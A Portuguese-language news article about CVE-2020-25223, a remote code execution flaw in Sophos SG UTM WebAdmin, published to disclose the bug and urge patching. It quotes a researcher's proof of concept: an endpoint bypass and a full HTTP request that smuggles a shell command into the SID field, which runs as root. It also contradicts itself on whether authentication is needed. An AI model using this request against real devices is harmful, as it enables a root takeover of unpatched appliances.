Você está usando Sophos UTM? Certifique-se de que está atualizado!

Um pesquisador revelou detalhes técnicos de uma vulnerabilidade crítica de execução remota de código, rastreada como CVE-2020-25223, corrigida no ano passado.

Em setembro, a Sophos corrigiu uma vulnerabilidade de execução remota de código (CVE-2020-25223) no WebAdmin do SG UTM que foi relatada por meio do programa de recompensa por bug da empresa. Na época, o fornecedor de segurança disse que não havia evidências de que a vulnerabilidade foi explorada em ataques à solta.

Aparelho Sophos UTM

Agora, o pesquisador Justin Kennedy, da consultoria de segurança Atredis Partners, revelou detalhes técnicos sobre o RCE. O especialista analisou dispositivos UTM vulneráveis ​​usados ​​por um de seus clientes e estudou as diferenças entre as versões com e sem patch do software para determinar como ele foi corrigido e como explorar o problema.

“Ao procurar os detalhes de um bug conhecido com patch, comecei da mesma forma que qualquer pessoa sã o faria, comparando as diferenças entre uma versão sem patch e uma versão com patch.” explicou o especialista em uma postagem do blog . “Peguei ISOs para versões 9.510-5 e 9.511-2 da plataforma Sophos UTM e girei-os em um ambiente de laboratório. Verdade seja dita, acabei criando seis versões diferentes, mas as duas que mencionei foram o que acabei comparando no final. ”

O especialista descobriu que era muito fácil acionar essa vulnerabilidade, um invasor poderia explorar a falha enviando uma solicitação HTTP para dispositivos vulneráveis.

Se o WebAdmin do Sophos SG UTM for exposto, apenas um invasor autenticado remotamente poderá explorá-lo facilmente.

 Depois de passar algum tempo tentando ignorar o regex e tentar diferentes cargas úteis, pensei … Este filtro de entrada só é acionado quando o local corresponde a webadmin.plx.” explicou o especialista. “E então eu vi e foi lindo:

RewriteRule ^/var /webadmin.plx

/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:12

Fazer uma solicitação HTTP ao /var endpoint é o mesmo que fazer uma solicitação ao /webadmin.plx endpoint, mas sem o filtro. Fazendo a solicitação novamente, mas para o novo endpoint:

POST /var HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}

E aqui está nosso arquivo:

# ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 17 17:07 /tmp/pwned

Agora temos RCE não autenticado no dispositivo Sophos UTM como o usuário root. 

As organizações que usam versões vulneráveis ​​do dispositivo Sophos UTM devem atualizá-las imediatamente.

Fonte: https://securityaffairs.co/